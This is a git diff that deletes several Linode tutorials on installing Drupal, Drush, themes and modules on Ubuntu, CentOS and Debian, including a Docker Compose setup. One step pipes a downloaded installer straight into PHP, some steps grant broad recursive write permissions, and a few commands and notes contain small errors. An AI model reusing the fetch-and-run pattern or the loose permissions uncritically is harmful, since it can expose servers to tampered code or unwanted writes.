+0,0 @@ ---- -slug: how-to-install-drupal-themes-and-modules-using-drush-on-ubuntu-18-04 -title: Install Drupal Themes and Modules Using Drush on Ubuntu 18.04 -title_meta: How to Install Drupal Themes & Modules on Ubuntu 18.04 -description: 'Use Drush to install and enable themes and modules on your Drupal site running on Ubuntu 18.04.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2014-12-05 -modified: 2020-03-11 -keywords: ["drupal", "cms", "content management system", "content management framework", "ubuntu", "drush"] -tags: ["drupal","ubuntu","cms","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: DrupalThemesMods_DrushUbuntu1804.png -external_resources: - - '[SSL Certificates](/cloud/guides/security/ssl/)' - - '[Drush Commands](https://docs.drush.org/en/9.x/)' - - '[Backup and Migrate](https://www.drupal.org/docs/8/modules/backup-and-migrate/howto-for-backup-and-migrate)' -relations: - platform: - key: how-to-install-drupal-themes - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/websites/cms/drupal/drush-drupal/how-to-install-drupal-themes-and-modules-using-drush-on-ubuntu-18-04/','/websites/cms/drupal/how-to-install-drupal-themes-and-modules-using-drush-on-ubuntu-18-04/'] ---- - -Drush is a command line tool, which can be used for various Drupal projects. This tutorial uses Drush to install themes, modules, and covering some basic administration tasks such as backup and migrate for Drupal websites. - -Linode has another guide for installing Drush and creating a Drupal website, [Install Drupal using Drush on Ubuntu 18.04](/cloud/guides/how-to-install-drupal-using-drush-on-ubuntu-18-04/). Depending on your experience level with Drush, you may want to start with that guide. - -## Before You Begin - -Before installing themes, modules, and a backup system with Drush, make sure that the following prerequisites have been met: - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for [setting your Linode's hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) and [timezone](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#set-the-timezone). - -1. Follow our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to [create a standard user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account), [harden SSH access](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#harden-ssh-access), and [create firewall rules](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-firewall) for your web server; you may need to make additional firewall exceptions for your specific application. - - {{% content "limited-user-note-shortguide" %}} - -1. Install and configure a [LAMP stack on Ubuntu 18.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/) - -1. Install [Composer and Drush on Ubuntu 18.04](/cloud/guides/how-to-install-drush-on-ubuntu-18-04/) - - -1. Make sure that your system is up to date, using: - - sudo apt-get update && sudo apt-get upgrade -{{< note >}} -The Drush commands to download or enable themes and modules vary depending on the version of Drush that you have installed. This guide uses Drush 10. -{{< /note >}} - -## Installing Themes with Drush - -In this section you will download, enable, and set a Drupal theme using Drush. - -1. Navigate to [Drupal's Download and Extend page](https://www.drupal.org/project/project_theme) to find the theme you want to download. The Drush download name is usually appended to the end of the Drupal theme page's URL; for example, `drupal.org/project/project/my_theme`. - -1. Move into your Drupal site's document root, `/var/www/html/example.com/public_html/`. Replace `example.com` with your own domain's name. - - cd /var/www/html/example.com/public_html - -1. Download your desired theme using [Composer](https://getcomposer.org/doc/). For example to download the `bootstrap` theme use: - - composer require drupal/bootstrap - - {{< note respectIndent=false >}} -If you receive an error related to not being able to write to the `composer.json` file, see the [Setting the Site’s Ownership and Permissions](/cloud/guides/how-to-install-drupal-using-drush-on-ubuntu-18-04/#setting-the-sites-ownership-and-permissions) section of the [Install Drupal using Drush on Ubuntu 18.04](/cloud/guides/how-to-install-drupal-using-drush-on-ubuntu-18-04/) guide. - -Ensure that your `/var/www/html/example.com/public_html` directory has user and group read, write, and execute permissions. - - sudo chmod 774 -R /var/www/html/example.com/public_html - {{< /note >}} - -1. Enable the theme that you downloaded in the previous step. For example, to enable the `bootstrap` theme run the following command. Replace `bootstrap` with the name of your theme. - - drush theme:enable bootstrap - -1. As an example, set the [Omega](https://www.drupal.org/project/omega) theme as the default and active theme: - - drush config-set system.theme default omega - - Check the homepage of your site and the new theme should appear. - -## Installing Modules with Drush - -Downloading and enabling a module is similar to working with a theme. However, modules can be used for almost any purpose. From enhancing public-facing functionality to providing a better administrative UI; there are thousands of Drupal modules. It is helpful to use modules with clear documentation, since once a module is installed, its interface can be challenging to use if it is not well documented and designed by the contributor. - -1. Move into your Drupal site's document root, `/var/www/html/example.com/public_html/`. Replace `example.com` with your own domain's name. - - cd /var/www/html/example.com/public_html - -1. Download the [Backup and Migrate](https://www.drupal.org/project/backup_migrate) module. This module enables you to perform the backup, restore, and migrate tasks - - composer require drupal/backup_migrate - -1. Enable the `backup_migrate` module: - - drush en backup_migrate -y - -1. Sign in to your Drupal site's browser interface and navigate to the **Extend** menu item (or **Administration > Extend**). Under the **OTHER** section, the Backup and Migrate module will be listed and selected. - -You have successfully installed and enabled a new module. The module is now running and ready to be used. - -## Backup a Drupal Site - -It's always important to keep regular backups of a website. Backups protect you from losing data due to configuration changes, vulnerabilities, or system failures. Backups should be stored on a separate system whenever possible. The **Backup and Migrate** module helps you to create backups of your site. - -1. To configure backup and migrate, navigate to **Administration > Configuration > Development > Backup and Migrate** - -1. For a quick backup, select the type of **Backup Source** and select the **Backup Destination**, and click **Backup now** -{{< note >}} -Always download a backup prior to updating or installing modules. -{{< /note >}} diff --git a/docs/guides/websites/cms/drupal/how-to-install-drupal-using-drush-on-ubuntu-18-04/index.md b/docs/guides/websites/cms/drupal/how-to-install-drupal-using-drush-on-ubuntu-18-04/index.md deleted file mode 100644 index 9e631049047..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-install-drupal-using-drush-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,186 +0,0 @@ ---- -slug: how-to-install-drupal-using-drush-on-ubuntu-18-04 -title: Install Drupal using Drush on Ubuntu 18.04 -title_meta: How to Install Drupal using Drush on Ubuntu 18.04 -description: 'This guide will show you how to install the popular content management system Drupal on CentOS 8 using the Drush command line tool on Ubuntu 18.04.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-02-29 -keywords: ["drupal", "cms", "content management system", "content management framework", "drush", "ubuntu"] -tags: ["drupal","ubuntu","cms","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -relations: - platform: - key: how-to-install-drupal-drush - keywords: - - distribution: Ubuntu 18.04 -image: InstallDrupalUsingDrushUbuntu1804.png -aliases: ['/websites/cms/drupal/drush-drupal/how-to-install-drupal-using-drush-on-ubuntu-18-04/','/websites/cms/drupal/how-to-install-drupal-using-drush-on-ubuntu-18-04/'] ---- - -[Drupal](https://www.drupal.org/docs/8) is a content management system (CMS) designed for building custom websites for personal and business use. Built for high performance and scalability, Drupal provides the necessary tools to create rich, interactive “community” websites with forums, user blogs, and private messaging. Drupal also has support for personal publishing projects and can power podcasts, blogs, and knowledge-based systems, all within a single, unified platform. - -[Drush](https://www.drush.org/) is a command line tool for creating, administrating, and modifying Drupal websites. Command line tools, like Drush, add functionality through additional command packages. Once installed, Drush is as easy to use as any of the basic Linux commands. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for [setting your Linode's hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) and [timezone](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#set-the-timezone). - -1. Follow our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to [create a standard user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account), [harden SSH access](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#harden-ssh-access), and [create firewall rules](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-firewall) for your web server; you may need to make additional firewall exceptions for your specific application. - - {{% content "limited-user-note-shortguide" %}} - -3. Install and configure a [How to Install a LAMP stack on Ubuntu 18.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/) - -4. Install [Composer and Drush on Ubuntu 18.04](/cloud/guides/how-to-install-drush-on-ubuntu-18-04/) - -## Download and Prepare Drupal 8 - -1. Navigate to your site's document root. If you installed and configured your Apache server using our [LAMP stack on Ubuntu 18.04](/cloud/guides/how-to-install-a-lamp-stack-on-debian-10/) guide, your document root should be located in the `/var/www/html/example.com/public_html/` directory. Replace `example.com` with your own document root path's name. - - cd /var/www/html/example.com - -1. Download the Drupal 8 tarball. As of writing this guide, Drupal 8.8.3 is the latest version. See [Drupal's download page](https://www.drupal.org/project/drupal) for their latest core tarball. Replace `8.8.3` with the version number you wish to download. - - sudo wget http://ftp.drupal.org/files/projects/drupal-8.8.3.tar.gz - - {{< note type="alert" respectIndent=false >}} -Ensure that the version number matches the Drupal 8 version you wish to download. -{{< /note >}} - -1. Extract the downloaded tarball's contents into your site's document root: - - sudo tar -zxvf drupal-8.*.tar.gz --strip-components=1 -C public_html - -1. Drupal depends on a PHP graphics library called GD. Install GD and other dependencies: - - sudo apt-get install php-gd php-xml php-dom php-simplexml php-mbstring - -1. Create your Drupal 8 installation's `settings.php` file from the default settings file. This file will be configured when you run through Drupal's automated web configuration. See the [Install and Configure Drupal on Ubuntu 18.04](/cloud/guides/how-to-install-and-configure-drupal-on-ubuntu-18-04/#drupal-first-start) guide for more details. - - sudo cp /var/www/html/example.com/public_html/sites/default/default.settings.php /var/www/html/example.com/public_html/sites/default/settings.php - -1. Enforce [trusted hostnames](https://www.drupal.org/node/2410395) with those that users will access your site from. With the text editor of your choice, edit your `settings.php` file replacing the [regular expression (RegEx)](https://www.php.net/manual/en/reference.pcre.pattern.syntax.php) with a pattern that matches your own site's URL(s). - - {{< file "/var/www/html/example.com/public_html/sites/default/settings.php" conf >}} -$settings['trusted_host_patterns'] = array( - '^www\.example\.com$', - '^example\.com$', - ); - -{{< /file >}} - - {{< note respectIndent=false >}} -`trusted_host_patterns` also accepts IP addresses or localhost. -{{< /note >}} - -## Configure Apache 2.4 - -1. Enable Apache's [rewrite module](https://httpd.apache.org/docs/current/mod/mod_rewrite.html). This module is necessary since Drupal 8 enables [Clean URLs](https://www.drupal.org/getting-started/clean-urls) by default. - - sudo a2enmod rewrite - -2. Specify the rewrite conditions for your Drupal site's document root in Apache's configuration file using the text editor of your choice. If you installed and configured your Apache server using [LAMP stack on Debian 10](/cloud/guides/how-to-install-a-lamp-stack-on-debian-10/) guide, the configuration file for your site is located at `/etc/apache2/sites-available/example.com.conf`. - - {{< file "/etc/apache2/sites-available/example.com.conf" conf >}} - - Options Indexes FollowSymLinks - AllowOverride All - Require all granted - RewriteEngine on - RewriteBase / - RewriteCond %{REQUEST_FILENAME} !-f - RewriteCond %{REQUEST_FILENAME} !-d - RewriteRule ^(.*)$ index.php?q=$1 [L,QSA] - -{{< /file >}} - -1. Change the ownership of your site's document root from `root` to `www-data`. This allows you to install modules and themes, and to update Drupal without being prompted for FTP credentials. - - sudo chown -R www-data:www-data /var/www/html/example.com - -4. Restart Apache so all changes are applied. - - sudo systemctl restart apache2 - -### Create a Drupal Website with Drush - -In this section, you will use [Drush](https://www.drush.org/) to install a Drupal site with just a few commands. - -1. Change the working directory to the location of your new Drupal website. The previous guides created a `/var/www/html/example.com/public_html` directory, where `public_html` is the document root or the publicly viewable directory. Replace `example.com` with your own site's name. - - cd /var/www/html/example.com/public_html - -1. Your Linode is now ready for you to install a Drupal site. In the command below, replace `mysql://username:password@localhost/databasename` with your own site's username, password, and database. For example, if you followed the [How to Install a LAMP stack on Ubuntu 18.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/) your username is `webuser`, password is `password`, and the database is `webdata`. Also, replace `--site-name=example.com` with your own website's name. - - drush si standard --db-url=mysql://username:password@localhost/databasename --site-name=example.com - - {{< note respectIndent=false >}} -Although MySQL accepts passwords with a special character, for example an exclamation point, the `drush si standard` command does not. If you have a special character in your MySQL password, you may need to change it. - {{< /note >}} - - {{< note respectIndent=false >}} -If you encounter errors related to writing to the `sites/default` directory, follow the steps in the [Setting the Site's Ownership and Permissions](#setting-the-site-s-ownership-and-permissions) section to ensure the web server belongs to the current user's group. - {{< /note >}} - - After the installation is complete, Drush creates a user, named `admin`, and a random password. An example is pictured below. These credentials are used for the Drupal sign-in page. - - - ![Drush Username Password](drush-username-password.png) - -1. Optionally, if you'd like to change the admin's password, it is best to do so with Drush, rather than sending the password over a non-secure HTTP connection. To update the admin password execute the following command and replace `newpass` with your new password: - - sudo drush user-password admin user-password=newpass - -### Setting the Site's Ownership and Permissions - -In server administration, there are many options for user and group permissions. The directions below create a site owner and a site owner's group. The Apache user, named `www-data`, is added to the site owner's group. Then, read, write, and execute permissions are granted to both the site owner and the site owner's group. - -1. To create a new user for the site owner position, see the [Add a Limited User Account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account) section of the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - -1. From the `public_html` directory, change ownership of the site to the site owner and group. Replace `example_user` below with the chosen owner's username: - - sudo chown -R example_user:example_user sites/default - -2. Add Apache's `www-data` user to the site owner's group: - - sudo usermod -a -G example_user www-data - -4. Make sure the permissions are set to allow access for the site owner and site owner's group: - - sudo chmod -R 770 sites/default - - Now, `www-data`, `example_user`, and any user within the `example_user` group has read, write, and execute permissions for the entire Drupal site directory tree. - -3. Restart Apache: - - sudo systemctl restart apache2 - -5. Finally, check the status of the new site: - - drush status - - {{< note respectIndent=false >}} -When installing new files, like a module or theme, make sure the Apache user has access rights. Use the command `ls -al` to list the file permissions within a directory to determine which permissions are assigned to it. - {{}} - -Navigate to your site's domain (or IP address if you did not set up a domain name). Sign-in with the generated username and password to begin [creating content](https://www.drupal.org/docs/8/administering-a-drupal-8-site/managing-content) for your Drupal site. - -## Additional Options - -There are many ways to set up administration for a website. Below are sections explaining some additional options. It's important to be aware of multi-site setups and additional security measures. The topics below touch on these subjects. - -### File Ownership, Permissions, and Security - -The above setup is designed for ease of use. However, there are setups designed for tighter security and other considerations. - -- To design your own setup, read Linode's documentation on [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide -- For an extremely secure setup, read Drupal's [Securing File Permissions and Ownership](https://www.drupal.org/node/244924) guide - -### Multi-site Servers - -At a high-level, the steps you will need to follow to begin configuring a Drupal multisite set up are: - -- Add a new [MySQL user, password, and database](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/#mysql) -- Create a new [Apache virtual hosts file and corresponding directories](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/#virtual-hosts) -- See [Drupal's Multisite documentation](https://www.drupal.org/docs/8/multisite/drupal-8-multisite) for more details. diff --git a/docs/guides/websites/cms/drupal/how-to-install-drupal-with-docker-compose-ubuntu-18-04/index.md b/docs/guides/websites/cms/drupal/how-to-install-drupal-with-docker-compose-ubuntu-18-04/index.md deleted file mode 100644 index 580550acf77..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-install-drupal-with-docker-compose-ubuntu-18-04/index.md +++ /dev/null @@ -1,157 +0,0 @@ ---- -slug: how-to-install-drupal-with-docker-compose-ubuntu-18-04 -title: Installing Drupal with Docker Compose on Ubuntu 18.04 -title_meta: How to Install Drupal with Docker Compose on Ubuntu 18.04 -description: 'This guide will show you how to install Drupal 8, a popular free and open-source content management system, with Docker Compose on Ubuntu 18.04.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-02-18 -keywords: ["cms", "apache", "php", "content management system", "drupal 8", "ubuntu 18.04", "docker compose"] -tags: ["drupal","docker","container","lamp","cms","debian"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Drupal_DockerComp_Ubuntu1804.png -relations: - platform: - key: how-to-install-drupal-docker-compose - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/websites/cms/drupal/how-to-install-drupal-with-docker-compose-ubuntu-18-04/','/websites/cms/drupal/docker-drupal/how-to-install-drupal-with-docker-compose-ubuntu-18-04/'] ---- - -## What Are Docker and Docker Compose? - -**Docker** is a system that provides pre-configured, self-contained applications, frameworks, and software stacks, such as WordPress, Golang, or LAMP. Even entire Linux distributions can be run in Docker. When deployed, these software packages are referred to as *containers*. Docker also allows you to create your own containers that include any custom software you'd like. - -**Docker Compose** is a complementary system which helps you link together individual Docker containers so they can work together. This guide walks through the deployment of a Drupal container and another PostgreSQL container that Drupal will use to store its data. Docker Compose will facilitate the networking between them. - -Containers for [Drupal](https://www.drupal.org/) and [PostgreSQL](https://www.postgresql.org/) are available from [Docker Hub](https://hub.docker.com/) in the form of *images*. A Docker image is a static snapshot of a container which is used to create new container instances. Docker Hub is an official repository where individuals and organizations can upload Docker images for public consumption. - -## Why Use Docker to Run Drupal? - -Using the Drupal and PostgreSQL images from Docker Hub offers the following benefits: - -- The configuration of the software has been done for you, which means that you don't need to follow a step-by-step process for each application to get them running on your system. -- Updating your software is as simple as downloading the latest images from Docker Hub. -- Images and containers are self-contained, which means that they are easy to clean up if you decide to remove them. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for [setting your Linode's hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) and [timezone](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#set-the-timezone). - -1. Follow our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to [create a standard user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account), [harden SSH access](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#harden-ssh-access), and [create firewall rules](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-firewall) for your web server; you may need to make additional firewall exceptions for your specific application. - - {{% content "limited-user-note-shortguide" %}} - -### Install Docker - -{{% content "installing-docker-shortguide" %}} - -### Install Docker Compose - -{{% content "install-docker-compose" %}} - -## Set Up Drupal - -1. Create a new directory in your home folder called `my_drupal` and `cd` into it: - - mkdir ~/my_drupal/ - cd ~/my_drupal/ - -1. Create a file named `docker-compose.yml` in this folder and add the following contents. Set your own password for the `POSTGRES_PASSWORD` option. - - {{< file "docker-compose.yml" yaml >}} -version: '3.3' - -services: - drupal: - image: drupal:latest - ports: - - 80:80 - volumes: - - drupal_modules:/var/www/html/modules - - drupal_profiles:/var/www/html/profiles - - drupal_themes:/var/www/html/themes - - drupal_sites:/var/www/html/sites - restart: always - - postgres: - image: postgres:10 - environment: - POSTGRES_PASSWORD: your_postgres_password - volumes: - - db_data:/var/lib/postgresql/data - restart: always - -volumes: - drupal_modules: - drupal_profiles: - drupal_themes: - drupal_sites: - db_data: -{{< /file >}} - -1. From the `my_drupal` directory, start your Docker containers: - - docker-compose up -d - -1. The Docker containers will take a minute or two to start up Drupal and PostgreSQL. Afterwards, you can visit your Linode's IP address in your web browser and you should be directed to the Drupal setup form. - - ![Drupal setup screen in the web browser - 'Choose language' page](drupal_setup_choose_language.png "Drupal setup screen in the web browser - 'Choose language' page") - -1. On the **Set up database** page, select `PostgreSQL` as the *Database type* and enter the following values: - - - Database name: `postgres` - - - Database username: `postgres` - - - Database password: *The password you set in the docker-compose.yml file* - - - Host (under Advanced Options): `postgres` - - ![Drupal setup screen in the web browser - 'Set up database' page](drupal_setup_set_up_database.png "Drupal setup screen in the web browser - 'Set up database' page") - -1. Complete the other screens in the setup guide. When creating your Drupal user, be sure to enter a password that is different from your PostgreSQL password. - -## Usage and Maintenance - -You do not need to manually start your containers if you reboot your Linode, because the option `restart: always` was assigned to your services in your `docker-compose.yml` file. This option tells Docker Compose to automatically start your services when the server boots. - -### Stop Drupal - -To stop your Drupal application: - - cd ~/my_drupal/ - docker-compose stop - -This will stop the running Drupal and PostgreSQL containers, but will not remove them. - -### Restart Drupal - -To restart your Drupal application: - - cd ~/my_drupal/ - docker-compose start - -### Stop and Remove Drupal - -To stop and remove containers, networks and images created by the `docker-compose.yml` file: - - cd ~/my_drupal/ - docker-compose down - -When a Docker container is taken down, it is also deleted; this is how Docker is designed to work. However, your Drupal files and data will be preserved, as the `docker-compose.yml` file was configured to create persistent volumes for that data. - -If you want to remove this data and start over with your Drupal site, you can add the `--volumes` flag to the previous command. **This will permanently delete the Drupal customizations you've made so far.** - - docker-compose down --volumes - -### Update Drupal - -The `docker-compose.yml` specifies the `latest` version of the Drupal image, so it's easy to update your Drupal version: - - docker-compose down - docker-compose pull && docker-compose up -d - -## Next Steps - -More extensive documentation on Docker is available in the [Containers](/cloud/guides/applications/containers/) section of the Linode Guides & Tutorials site. diff --git a/docs/guides/websites/cms/drupal/how-to-install-drush-on-centos-8/index.md b/docs/guides/websites/cms/drupal/how-to-install-drush-on-centos-8/index.md deleted file mode 100644 index b221012bcc0..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-install-drush-on-centos-8/index.md +++ /dev/null @@ -1,151 +0,0 @@ ---- -slug: how-to-install-drush-on-centos-8 -title: Install Drush on CentOS 8 -title_meta: How to Install Drush on CentOS 8 -description: 'Drush is a command line tool for creating, maintaining, and modifying Drupal websites. This guide will walk you through installing Drush on CentOS 8' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-02-29 -keywords: ["drupal", "cms", "content management system", "content management framework", "centos", "drush"] -aliases: ['/websites/cms/drupal/drush-drupal/how-to-install-drush-on-centos-8/','/websites/cms/drupal/how-to-install-drush-on-centos-8/'] -tags: ["drupal","centos","cms","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: InstallDrushonCentOS8.png -external_resources: - - '[Drush Documentation](https://docs.drush.org/en/master/)' - - '[Composer Documentation](https://getcomposer.org/doc/)' -relations: - platform: - key: how-to-install-drush - keywords: - - distribution: CentOS 8 ---- - -[Drush](https://www.drush.org/) is a command line tool for creating, administrating, and modifying Drupal websites. Command line tools, like Drush, add functionality through additional command packages. Once installed, Drush is as easy to use as any of the basic Linux commands. The name comes from combining the words Drupal and shell. Drush is designed only for Drupal and cannot be used with other content management systems. - -Both new and experienced Drupal users can benefit from learning Drush. Users that have worked with a command line interface before have an advantage, but Drush is an excellent application for beginners, too. - -## Before You Begin - -Before installing Drush, ensure that you complete the following steps: - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Install and configure a [LAMP stack on CentOS 8](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/). - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with ``sudo``. If you're not familiar with the ``sudo`` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Install Git & Composer - -The developers of Drush recommend installing Drush using [Composer](https://getcomposer.org/doc/00-intro.md), a PHP dependency manager. Since the Drush project is hosted on [GitHub](https://github.com/) and controlled with [Git](/cloud/guides/how-to-configure-git/), you will also need to install Git. In this section, you will install both dependencies. - -1. Install Git: - - sudo yum install git - -1. Composer requires several PHP extensions in order to work properly. Install these extensions on your system: - - sudo yum install php-json, php-zip, unzip, php-mbstring, php-gd -y - -1. Install Composer: - - curl -sS https://getcomposer.org/installer | php - -1. Move the `composer.phar` file to `/usr/local/bin/`, so that it can be accessed from any directory: - - sudo mv composer.phar /usr/local/bin/composer - -## Install Drush Globally - -Composer is designed to install PHP dependencies on a per-project basis. The steps below will install a global Drush for all projects. If you want to install Drush for a specific system user, skip to the [Install Drush for a Limited User Account](#install-drush-for-a-limited-user-account) section. - -1. Create a symbolic link between Composer's local bin directory, `/usr/local/bin/composer`, and the system's bin directory, `/usr/bin/`: - - sudo ln -s /usr/local/bin/composer /usr/bin/composer - -1. Use Git to download - or [clone](/cloud/guides/how-to-install-git-and-clone-a-github-repository/#clone-a-github-test-repository) - the [GitHub Drush project](https://github.com/drush-ops/drush) into a new directory, `/usr/local/src/drush`: - - sudo git clone https://github.com/drush-ops/drush.git /usr/local/src/drush - -1. Change the working directory to your new Drush directory: - - cd /usr/local/src/drush - -1. Use Git to checkout the version of Drush that you wish to use. View the GitHub project's [releases page](https://github.com/drush-ops/drush/releases) to view all available versions. - - For a different release, replace the version number, `10.2.2`, in the following command: - - sudo git checkout 10.2.2 - -1. Create a symbolic link between the Drush directory in `/usr/local/src` to `/usr/bin`, so that the Drush command can be called from any directory: - - sudo ln -s /usr/local/src/drush/drush /usr/bin/drush - -1. Now, run the Composer install command: - - composer install - -1. Drush has now been installed for all users on your Linode. To verify the installation, check Drush's version number. - - drush --version - - You should see a similar output: - - {{< output >}} -Drush Commandline Tool 10.2.2 - {{}} - -## Install Drush for a Limited User Account - -You may want to install Drush for only certain system users, for example, the **site admin** or the Apache webserver. This option may be optimal for a shared-hosting environment. Also, this allows individual users to install different versions of Drush and even install separate versions specific to a single project. Ensure you run the commands from the limited user account's home directory. Before you complete this section, ensure you have completed the steps in the [Install Git & Composer](#install-git-composer) section of the guide. - -1. Install Drush using Composer: - - composer require drush/drush:dev-master - - {{< note respectIndent=false >}} -To install a different version of Drush, replace `drush/drush:dev-master` with another version. For example, to install the stable release of Drush 6.x, use `drush/drush:9.*`. For more information, visit the [Drush GitHub](https://github.com/drush-ops/drush) repository. - {{< /note >}} - -1. To verify the installation, check Drush's version number. - - drush --version - - You should see a similar output: - - {{< output >}} -Drush Commandline Tool 10.2.2 - {{}} - - {{< note respectIndent=false >}} -If your system is having trouble finding the `drush` command, add the `vendor` directory to your `$PATH`. Using the text editor of your choice, edit your `.bashrc` file to add the directory to it's path: - -{{< file "~/.bashrc">}} -export PATH="$HOME/vendor/bin:$PATH" -{{}} - -Run the `source` command on the `.bashrc` file to enable the changes: - - source ~/.bashrc - - {{< /note >}} - -## Using Drush - -Drush has dozens of [commands](https://www.drupal.org/docs/8/modules/d8-rules-essentials/for-developers/tools/drush-commands) with hundreds of options. Drush can interface with MySQL, Drupal, Git, and more. Below are a few examples of some useful Drush commands to get you started. Refer to the [Drush Commands](https://www.drupal.org/docs/8/modules/d8-rules-essentials/for-developers/tools/drush-commands) documentation for more details. - -1. To get started with Drush, run it without any sub-commands to list the help manual. - - drush - -2. View more detailed documentation for a specific command by typing `drush help` and then the command, for example: - - drush help site-install - -3. Use the `status` command to list several of the specs for your Linode and Drupal website: - - drush status diff --git a/docs/guides/websites/cms/drupal/how-to-install-drush-on-debian-10/index.md b/docs/guides/websites/cms/drupal/how-to-install-drush-on-debian-10/index.md deleted file mode 100644 index d6fe60eb219..00000000000 --- a/docs/guides/websites/cms/drupal/how-to-install-drush-on-debian-10/index.md +++ /dev/null @@ -1,145 +0,0 @@ ---- -slug: how-to-install-drush-on-debian-10 -title: Install Drush on Debian 10 -title_meta: How to Install Drush on Debian 10 -description: 'Drush is a command line tool for creating, maintaining, and modifying Drupal websites. This guide will walk you through installing Drush on Debian 10' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-02-28 -keywords: ["drupal", "cms", "content management system", "content management framework", "debian", "drush"] -aliases: ['/websites/cms/drupal/how-to-install-drush-on-debian-10/','/websites/cms/drupal/drush-drupal/how-to-install-drush-on-debian-10/'] -tags: ["drupal","lamp","cms","debian"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Drush_onDebian10.png -external_resources: - - '[Drush Documentation](https://docs.drush.org/en/master/)' - - '[Composer Documentation](https://getcomposer.org/doc/)' -relations: - platform: - key: how-to-install-drush - keywords: - - distribution: Debian 10 ---- - -[Drush](https://www.drush.org/) is a command line tool for creating, administrating, and modifying Drupal websites. Command line tools, like Drush, add functionality through additional command packages. Once installed, Drush is as easy to use as any of the basic Linux commands. The name comes from combining the words Drupal and shell. Drush is designed only for Drupal and cannot be used with other content management systems. - -Both new and experienced Drupal users can benefit from learning Drush. Users that have worked with a command line interface before have an advantage, but Drush is an excellent application for beginners, too. - -## Before You Begin - -Before installing Drush, ensure that the following prerequisites have been met: - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Install and configure a [LAMP stack on Debian 10](/cloud/guides/how-to-install-a-lamp-stack-on-debian-10/) -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with ``sudo``. If you're not familiar with the ``sudo`` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Install Git & Composer -The developers of Drush recommend installing Drush using [Composer](https://getcomposer.org/doc/00-intro.md), a PHP dependency manager. Since the Drush project is hosted on [GitHub](https://github.com/) and controlled with 